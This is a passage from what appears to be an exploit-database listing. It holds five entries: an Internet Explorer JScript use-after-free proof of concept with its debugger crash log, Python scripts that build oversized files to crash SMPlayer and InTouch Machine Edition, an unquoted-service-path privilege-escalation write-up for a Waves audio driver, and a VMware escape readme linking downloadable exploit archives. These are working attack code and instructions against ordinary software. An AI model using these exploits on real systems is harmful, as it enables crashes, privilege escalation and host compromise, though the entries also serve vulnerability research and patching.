you have to get an all-zeroes checksum.) Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47708.zip
  21. There is a use-after-free issue in JSCript (triggerable via Internet Explorer) where the members of the 'arguments' object aren't tracked by the garbage collector during the 'toJSON' callback. Thus, during the 'toJSON' callback, it is possible to assign a variable to the 'arguments' object, have it garbage-collected (as long as it is not referenced anywhere else) and still access it later. Note that, like in some previously reported JSCript issues, this is a use-after-free on a JSCript variable (VAR structure), so in order to trigger a crash, the entire block of variables must be freed. PoC for Internet Explorer is below. I tested it on multiple Windows version with the latest security patches applied. =========================================================== <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> var spray = new Array(); function F() { alert('callback'); // 2. Create a bunch of objects for (var i = 0; i < 20000; i++) spray[i] = new Object(); // 3. Store a reference to one of them in the arguments array // The arguments array isn't tracked by garbage collector arguments[0] = spray[5000]; // 4. Delete the objects and call the garbage collector // All JSCript variables get reclaimed... for (var i = 0; i < 20000; i++) spray[i] = 1; CollectGarbage(); // 5. But we still have reference to one of them in the // arguments array alert(arguments[0]); } // 1. Cause toJSON callback to fire var o = {toJSON:F} JSON.stringify(o); alert('done'); </script> =========================================================== Debug log: =========================================================== (1cf4.154): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000080 ebx=05ecc218 ecx=00000080 edx=00000001 esi=05f0c3c8 edi=05fb12e8 eip=6e25f52a esp=05ecc180 ebp=05ecc1b4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 jscript!PrepareInvoke+0x12a: 6e25f52a 0fb707 movzx eax,word ptr [edi] ds:002b:05fb12e8=???? 0:009> k # ChildEBP RetAddr 00 05ecc1b4 6e262b75 jscript!PrepareInvoke+0x12a 01 05ecc2a8 6e2660ee jscript!VAR::InvokeByDispID+0x1c5 02 05ecc4a0 6e26244a jscript!CScriptRuntime::Run+0x2e4e 03 05ecc594 6e2622a1 jscript!ScrFncObj::CallWithFrameOnStack+0xaa 04 05ecc5ec 6e25bec9 jscript!ScrFncObj::Call+0x81 05 05ecc68c 6e262aed jscript!NameTbl::InvokeInternal+0x399 06 05ecc78c 6e2a862c jscript!VAR::InvokeByDispID+0x13d 07 05ecc800 6e2a8c2e jscript!GCProtectKeyAndCall+0xed 08 05ecc898 6e2a93ce jscript!JSONApplyFilters+0x125 09 05ecc90c 6e2ad9a2 jscript!JSONStringifyObject+0xac 0a 05ecc9b4 6e269e3a jscript!JsJSONStringify+0x382 0b 05ecca1c 6e25bec9 jscript!NatFncObj::Call+0xea 0c 05eccabc 6e25e476 jscript!NameTbl::InvokeInternal+0x399 0d 05eccc78 6e262aa5 jscript!VAR::InvokeByName+0x8f6 0e 05eccd70 6e2660ee jscript!VAR::InvokeByDispID+0xf5 0f 05eccf68 6e26244a jscript!CScriptRuntime::Run+0x2e4e 10 05ecd05c 6e2622a1 jscript!ScrFncObj::CallWithFrameOnStack+0xaa 11 05ecd0b4 6e257124 jscript!ScrFncObj::Call+0x81 12 05ecd170 6e257f75 jscript!CSession::Execute+0x314 13 05ecd1d0 6e256c83 jscript!COleScript::ExecutePendingScripts+0x2d5 14 05ecd274 6e2569b9 jscript!COleScript::ParseScriptTextCore+0x2c3 15 05ecd2a0 70209251 jscript!COleScript::ParseScriptText+0x29 16 05ecd2d8 70122a27 MSHTML!CActiveScriptHolder::ParseScriptText+0x51 17 05ecd348 70121fe2 MSHTML!CScriptCollection::ParseScriptText+0x182 18 05ecd434 701226ee MSHTML!CScriptData::CommitCode+0x312 19 05ecd4b0 7012153a MSHTML!CScriptData::Execute+0x1ba 1a 05ecd4d0 701e99b6 MSHTML!CHtmScriptParseCtx::Execute+0xaa 1b 05ecd524 70159c7d MSHTML!CHtmParseBase::Execute+0x186 1c 05ecd544 70159599 MSHTML!CHtmPost::Broadcast+0xfd 1d 05ecd66c 7017647d MSHTML!CHtmPost::Exec+0x339 1e 05ecd68c 70176376 MSHTML!CHtmPost::Run+0x3d 1f 05ecd6ac 70176308 MSHTML!PostManExecute+0x60 20 05ecd6c0 70176279 MSHTML!PostManResume+0x6f 21 05ecd6f0 70208447 MSHTML!CHtmPost::OnDwnChanCallback+0x39 22 05ecd708 7015be1d MSHTML!CDwnChan::OnMethodCall+0x27 23 05ecd780 702f1207 MSHTML!GlobalWndOnMethodCall+0x1bd 24 05ecd7d0 7015c5a2 MSHTML!GlobalWndProc_SEH+0x317 25 05ecd7ec 7562624b MSHTML!GlobalWndProc+0x52 26 05ecd818 756174dc USER32!_InternalCallWinProc+0x2b 27 05ecd8fc 7561661b USER32!UserCallWinProcCheckWow+0x3ac 28 05ecd970 756163f0 USER32!DispatchMessageWorker+0x21b 29 05ecd97c 717e6456 USER32!DispatchMessageW+0x10 2a 05ecfb0c 717e73e3 IEFRAME!CTabWindow::_TabWindowThreadProc+0xa36 2b 05ecfbcc 7223df6c IEFRAME!LCIETab_ThreadProc+0x403 2c 05ecfbe4 7130289d msIso!_IsoThreadProc_WrapperToReleaseScope+0x1c 2d 05ecfc1c 75520419 IEShims!NS_CreateThread::AutomationIE_ThreadProc+0x8d 2e 05ecfc2c 7789662d KERNEL32!BaseThreadInitThunk+0x19 2f 05ecfc88 778965fd ntdll!__RtlUserThreadStart+0x2f 30 05ecfc98 00000000 ntdll!_RtlUserThreadStart+0x1b ===========================================================
  22. # Title : SMPlayer 19.5.0 - Denial of Service (PoC) # Tested on : Windows 7 (64 bit) # Vulnerable Software: SMPlayer v 19.5.0 # Exploit Author: Malav Vyas # Vendor Homepage: https://smplayer.info # Version : 19.5.0 # Software Link : https://smplayer.info/en/downloads # POC # run this python file, which will generate attack.m3u file # .m3u file is used as a playlist # this python file will generate a .m3u file with 25000 "A" characters. # Open this file in SMPlayer two times. # second time, buffer would be successfully overflowed and it would result in a Denial Of Service attack. # For more details, please refer to video f="attack.m3u" bof = "A"*25000 writeFile = open(f, "w") writeFile.write(bof) writeFile.close()
  23. # Exploit Title: InTouch Machine Edition 8.1 SP1 - 'Atributos' Denial of Service (PoC) # Discovery by: chuyreds # Discovery Date: 12019-11-16 # Vendor Homepage: https://on.wonderware.com/ # Software Link : https://on.wonderware.com/intouch-machine-edition # Tested Version: 8.1 SP1 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 Pro x64 es # InTouch Machine Edition 8.1 SP1.py # Steps to Produce the Local Buffer Overflow (SEH Unicode): # 1.- Run python code: InTouch_Machine_Edition_8.1.py # 2.- Open InTouch_Machine_Edition_8.1.txt and copy content to clipboard # 3.- Open ITME v8.1 InTouch Machine Edition # 4.- On Graficos slect Atributos # 5.- Paste ClipBoard on "No Redibujar"/"Deshabilitados" and click on "Aceptar" #!/usr/bin/env python buffer = "\x41" * 1026 f = open ("InTouch_Machine_Edition_8.1.txt", "w") f.write(buffer) f.close()
  24. # Exploit Title: Waves MaxxAudio Drivers 1.1.6.0 - 'WavesSysSvc64' Unquoted Service Path # Discovery by: Luis Martinez # Discovery Date: 2019-11-24 # Vendor Homepage: https://www.dell.com/ # Software Link : https://www.dell.com/support/home/mx/es/mxbsdt1/drivers/driversdetails?driverid=vwpkk # Tested Version: 1.1.6.0 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro x64 es # Step to discover Unquoted Service Path: C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Audio" | findstr /i /v """ Waves Audio Services WavesSysSvc C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe Auto # Service info: C:\>sc qc WavesSysSvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: WavesSysSvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Waves Audio Services DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
  25. # VMware Escape Exploit VMware Escape Exploit before VMware WorkStation 12.5.5 Host Target: Win10 x64 Compiler: VS2013 Test on VMware 12.5.2 build-4638234 # Known issues * Failing to heap manipulation causes host process crash. * Not quite elaborate because I'm not good at doing heap "fengshui" on winows LFH. # FAQ * Q: Error in reboot vmware after crashing process. * A: Just remove ***.lck** folder in your vm directory or wait a while and have a coffee :).Here is a simple [script](https://raw.githubusercontent.com/unamer/vmware_escape/master/cve-2017-4901/cleanvm.bat) I used to clean up. ![](https://github.com/unamer/vmware_escape/raw/master/cve-2017-4901/exp.gif) EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47714.zip